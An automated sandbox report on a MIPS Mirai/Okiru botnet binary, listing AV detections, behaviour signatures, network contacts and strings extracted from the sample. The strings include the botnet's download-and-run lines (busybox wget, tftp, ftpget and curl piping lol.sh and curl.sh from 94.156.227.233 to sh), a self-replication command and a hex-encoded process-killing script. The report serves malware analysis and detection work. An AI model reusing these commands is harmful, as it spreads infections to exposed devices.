Linux Analysis Report
mips.nn.elf

Overview

General Information

Sample name: mips.nn.elf
Analysis ID: 1575253
MD5: 2145cb16a925a273d569c25257eb701a
SHA1: 821c929b723b9c69683f96b921132e0ff98ac9a1
SHA256: beeeaa8013f74e611c30f4a99aebe4f5e38f3403a3d8314379428ab0a1ddd244
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 76
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Sample deletes itself
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: mips.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: mips.nn.elf ReversingLabs: Detection: 42%
Found strings indicative of a multi-platform dropper
Source: mips.nn.elf String: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginbusybox94.156.227.234malloc[start_pid_hopping] Failed to clone: %s
Source: mips.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:44548 -> 94.156.227.234:38242
Source: global traffic TCP traffic: 192.168.2.13:40304 -> 154.216.19.139:199
Sample listens on a socket
Source: /tmp/mips.nn.elf (PID: 5433) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 43.191.190.218
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 70.6.24.70
Source: unknown TCP traffic detected without corresponding DNS query: 150.2.161.109
Source: unknown TCP traffic detected without corresponding DNS query: 213.134.46.100
Source: unknown TCP traffic detected without corresponding DNS query: 220.98.46.164
Source: unknown TCP traffic detected without corresponding DNS query: 40.38.255.26
Source: unknown TCP traffic detected without corresponding DNS query: 54.234.185.176
Source: unknown TCP traffic detected without corresponding DNS query: 202.212.151.129
Source: unknown TCP traffic detected without corresponding DNS query: 149.77.79.191
Source: unknown TCP traffic detected without corresponding DNS query: 20.56.43.86
Source: unknown TCP traffic detected without corresponding DNS query: 43.191.190.218
Source: unknown TCP traffic detected without corresponding DNS query: 113.193.247.58
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 66.85.85.13
Source: unknown TCP traffic detected without corresponding DNS query: 70.6.24.70
Source: unknown TCP traffic detected without corresponding DNS query: 137.115.32.84
Source: unknown TCP traffic detected without corresponding DNS query: 84.47.121.178
Source: unknown TCP traffic detected without corresponding DNS query: 141.103.169.75
Source: unknown TCP traffic detected without corresponding DNS query: 116.48.251.124
Source: unknown TCP traffic detected without corresponding DNS query: 134.190.47.75
Source: unknown TCP traffic detected without corresponding DNS query: 150.2.161.109
Source: unknown TCP traffic detected without corresponding DNS query: 202.88.155.174
Source: unknown TCP traffic detected without corresponding DNS query: 215.235.57.72
Source: unknown TCP traffic detected without corresponding DNS query: 5.195.59.199
Source: unknown TCP traffic detected without corresponding DNS query: 106.98.196.224
Source: unknown TCP traffic detected without corresponding DNS query: 83.113.203.187
Source: unknown TCP traffic detected without corresponding DNS query: 200.202.226.236
Source: unknown TCP traffic detected without corresponding DNS query: 188.159.120.89
Source: unknown TCP traffic detected without corresponding DNS query: 213.134.46.100
Source: unknown TCP traffic detected without corresponding DNS query: 41.220.81.134
Source: unknown TCP traffic detected without corresponding DNS query: 163.143.162.106
Source: unknown TCP traffic detected without corresponding DNS query: 162.212.150.201
Source: unknown TCP traffic detected without corresponding DNS query: 220.98.46.164
Source: unknown TCP traffic detected without corresponding DNS query: 129.115.113.57
Source: unknown TCP traffic detected without corresponding DNS query: 106.155.151.56
Source: unknown TCP traffic detected without corresponding DNS query: 181.190.62.70
Source: unknown TCP traffic detected without corresponding DNS query: 40.38.255.26
Source: unknown TCP traffic detected without corresponding DNS query: 20.181.7.34
Source: unknown TCP traffic detected without corresponding DNS query: 54.234.185.176
Source: unknown TCP traffic detected without corresponding DNS query: 161.183.124.108
Source: unknown TCP traffic detected without corresponding DNS query: 222.90.52.105
Source: unknown TCP traffic detected without corresponding DNS query: 68.232.115.198
Source: unknown TCP traffic detected without corresponding DNS query: 173.130.0.166
Source: unknown TCP traffic detected without corresponding DNS query: 172.198.43.25
Source: unknown TCP traffic detected without corresponding DNS query: 56.13.103.60
Source: unknown TCP traffic detected without corresponding DNS query: 97.153.125.245
Source: unknown TCP traffic detected without corresponding DNS query: 156.226.204.106
Source: mips.nn.elf String found in binary or memory: http://94.156.227.233/
Source: mips.nn.elf String found in binary or memory: http://94.156.227.233/curl.sh
Source: mips.nn.elf String found in binary or memory: http://94.156.227.233/lol.sh
Source: mips.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: busybox
Source: Initial sample String containing 'busybox' found: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktc
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/mips.nn.elf (PID: 5470) SIGKILL sent: pid: 792, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5470) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5470) SIGKILL sent: pid: 1944, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5470) SIGKILL sent: pid: 3181, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5470) SIGKILL sent: pid: 3185, result: successful Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5470) SIGKILL sent: pid: 5534, result: successful Jump to behavior
Source: classification engine Classification label: mal76.troj.evad.linELF@0/2@0/0
Enumerates processes within the "proc" file system
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5585/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5586/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5587/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5533/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5599/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5534/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5538/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5591/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5592/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5593/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5594/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5276/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5595/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5596/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5597/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5532/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5598/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5590/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/1588/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5588/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5589/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5600/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/802/cmdline Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5601/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5602/status Jump to behavior
Source: /tmp/mips.nn.elf (PID: 5461) File opened: /proc/5603/status Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Sample deletes itself
Source: /tmp/mips.nn.elf (PID: 5433) File: /tmp/mips.nn.elf Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/mips.nn.elf (PID: 5433) Queries kernel information via 'uname': Jump to behavior
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/grub-editenv1/usr/bin/vmware-namespace-cmd`!/usr/bin/bzfgrep1/usr/bin/networkd-dispatcher
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/dev/vmci0 /dev/zfs1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/mdoc-validate1/usr/bin/xfce4-taskmanager`!/usr/bin/uncompress1/usr/bin/purple-url-handler0!/usr/bin/sg_ident!/usr/bin/qemu-mips641/usr/bin/instmodshps/s10!/usr/bin/thunar-volman!/usr/bin/enchant-2108!
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U1/usr/bin/vmware-vgauth-cmd
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /mips/usr/bin/qemu-mipsel
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-microblazeel
Source: mips.nn.elf, 5433.1.00007ffdbdb7b000.00007ffdbdb9c000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.zlEnOZ\$
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc32plus
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-riscv32
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips64el
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/speaker-test1/usr/bin/vmware-toolbox-cmd`!/usr/bin/ntfsusermap1/usr/bin/ubuntu-bugs/s10!/usr/bin/lsmem0!/usr/bin/sg_opcodes!/usr/bin/notify-send/us1p
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-alpha
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/qemu-nios2!/usr/bin/dpkg-deb
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-s390x
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4eb
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/usr/bin/expand0!/usr/bin/ttfread1/usr/bin/sha384sumps/s10!/usr/bin/curl0!/usr/bin/slogin1/usr/bin/catU/mips/s10!/usr/bin/captoinfo!/usr/bin/mconfig1/usr/bin/telnet.netkits10!/usr/bin/vmware-rpctool!/usr/bin/eps2eps1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/usr/bin/racc2y2.7!/var/run/mono-xsp4.pid1/usr/bin/resizeparts/a10!/usr/bin/slxdecode!/var/run/mono-xsp41/usr/bin/pydoc3/mips/a10!/usr/bin/debconf-escape!/var/run/crond.reboot1/usr/bin/users-admin/a10!/usr/bin/gdb-add-index!/var/run/sshd1/usr/bin/ssh-import-id-lp0!/usr/bin/qemu-armeb!/var/run/crond.pid1/usr/bin/csharp/mips/10!/usr/bin/podselect!/var/run/udisks21/usr/bin/x86_64-linux-gnu-elfedit&W
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/qemu-mipsn32el!/usr/bin/xzcmp K
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmware-hgfsclient
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-aarch64
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/dbus-monitor1/usr/bin/gimp-test-clipboard-2.01/usr/bin/grotty/mips/s10!/usr/bin/parecord!/usr/bin/sg_rdac1/usr/bin/phar.pharps/s10!/usr/bin/pinky0!/usr/bin/ciptool1/usr/bin/lofficemips/10!/usr/bin/pygettext3!/usr/bin/qemu-tilegx1/usr/bin/gnome-shell-extension-tool
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /mips/usr/bin/qemu-cris
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/qemu-mipsn32!/usr/bin/btattach1@
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/usr/bin/qemu-mipsel
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-nios2
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/usr/bin/vmwarectrl
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-microblaze
Source: mips.nn.elf, 5433.1.00007ffdbdb7b000.00007ffdbdb9c000.rw-.sdmp Binary or memory string: MPDIR%s/qemu-op
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /mips/usr/bin/qemu-microblazeel
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-cris
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc64
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: P /usr/bin/qemu-mipselUQ`
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsn32
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/systemd1/usr/bin/mono-find-requires`!/usr/bin/rendercheck1/usr/bin/qemu-sparc32plus
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc64le
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/atq01/usr/bin/sg_sat_identify1/usr/bin/vmware-checkvm10!/usr/bin/uxterm0!/usr/bin/chacl1/usr/bin/x86_64-linux-gnu-size
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips/var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-logind.service-VhFl6g
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmware-toolbox-cmd
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-hppa
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/oclock0!/usr/bin/ssh-argv01/usr/bin/systemd-id128s10!/usr/bin/pic0!/usr/bin/lspci1/usr/bin/mate-calc-cmds10!/usr/bin/strip0!/usr/bin/unpack2001/usr/bin/systemctlps/10!/usr/bin/rview0!/usr/bin/qemu-riscv641/usr/bin/keep-one-running
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /mips/dev/vmci
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/usr/bin/qemu-hppa!/usr/bin/ptar1/usr/bin/linkiccmips/s10!/usr/bin/xmodmap!/usr/bin/usb_printerid1/usr/bin/gnome-session-custom-session!/usr/bin/pdftocairo!/usr/bin/php1/usr/bin/foo2oak-wrapper0!/usr/bin/locale-check1/usr/bin/automat-visualize31/usr/bin/sg_ses_microcodebin/[0!/usr/bin/sg_bg_ctl!/usr/bin/domainname1/usr/bin/avahi-browse-domains
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /var/run/vmware
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmware-xferlogs
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/usr/bin/ubuntu-drivers!/usr/bin/pdftohtml1/usr/bin/setsid/mips/s10!/usr/bin/ikdasm0!/usr/bin/trust1/usr/bin/vmware-hgfsclient0!/usr/bin/tzselect!/usr/bin/paste1/usr/bin/chcon/mips/s10!/usr/bin/rcp0!/usr/bin/ldd1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/bsd-from!/usr/bin/resgen21/usr/bin/spice-vdagents10!/usr/bin/twist30!/usr/bin/qemu-sparc641`-"
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips64
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: !/proc/2935/exe1/tmp/vmware-root_727-42906909660!/usr/bin/xfce4-panel!/proc/2936/exe1/usr/lib/bluetooth/obexd0!/proc/3147/exe0!/proc/2961/exe1/proc/3342/exe/mips/r10!/usr/bin/xfsettingsd!/proc/2964/exe1/tmp/.X11-unix/mips/r10!/proc/3146/exe01/usr/bin/gnome-keyring-daemon1/usr/lib/bluetoothps/s10!/usr/bin/xfwm40!/proc/2970/exe1/var/run/dmeventd-client0!/proc/3134/exe0!/proc/2972/exe1/usr/lib/x86_64-linux-gnu/xfce4/panel!/usr/bin/gpg-agent!/proc/2974/exe1/usr/libexec/geoclue-2.0/demos/agent
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/sqlsharp1/usr/bin/vmware-xferlogs`!/usr/bin/caspol1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/resgen!/usr/bin/x11perfcomp/us1/usr/bin/qemu-microblazeel
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/foo2hbpl21/usr/bin/xfce4-popup-applicationsmenu!/usr/bin/ppdpo1/usr/bin/qemu-ppcips/s10!/usr/bin/rvim0!/usr/bin/pf2afm1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmware-checkvm
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/purple-send!/usr/bin/gzip1/usr/bin/systemd-notify10!/usr/bin/less0!/usr/bin/qemu-sparc1/usr/bin/grub-mkstandalone
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/delv0!/usr/bin/python1/usr/bin/qemu-armips/s10!/usr/bin/foo2lava1/usr/bin/xfce4-appearance-settings1/usr/bin/bzexe/mips/10!/usr/bin/luac5.31/usr/bin/systemd-socket-activate1/usr/bin/mono-find-provides
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /mips/usr/bin/qemu-alpha
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmware-vgauth-smoketest
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/pa-info!/usr/bin/xdpyinfo1/usr/bin/hciconfigps/s10!/usr/bin/ristretto!/usr/bin/sleep1/usr/bin/xfce4-popup-notes0!/usr/bin/qemu-ppc64le!/usr/bin/wdctl1/usr/bin/zgrep/mips/10!/usr/bin/tty0!/usr/bin/mdoc1/usr/bin/desktop-file-edit
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/dev/dvd0 /dev/vmci1
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: U/mips/s10 /usr/bin/hp-pkservice!/usr/bin/preunzip1/usr/bin/systemd-hwdbs10!/usr/bin/sg_map26!/usr/bin/setterm1/usr/bin/sg_zonemips/s10!/usr/bin/viewres!/usr/bin/bzcat!/usr/bin/mdbrebaseps/us1/usr/bin/vmware-vmblock-fuse
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc64abi32
Source: mips.nn.elf, 5433.1.000055c01d17c000.000055c01d248000.rw-.sdmp Binary or memory string: /usr/bin/vmwarectrl
Source: mips.nn.elf, 5433.1.00007ffdbdb7b000.00007ffdbdb9c000.rw-.sdmp Binary or memory string: %s/qemu-op
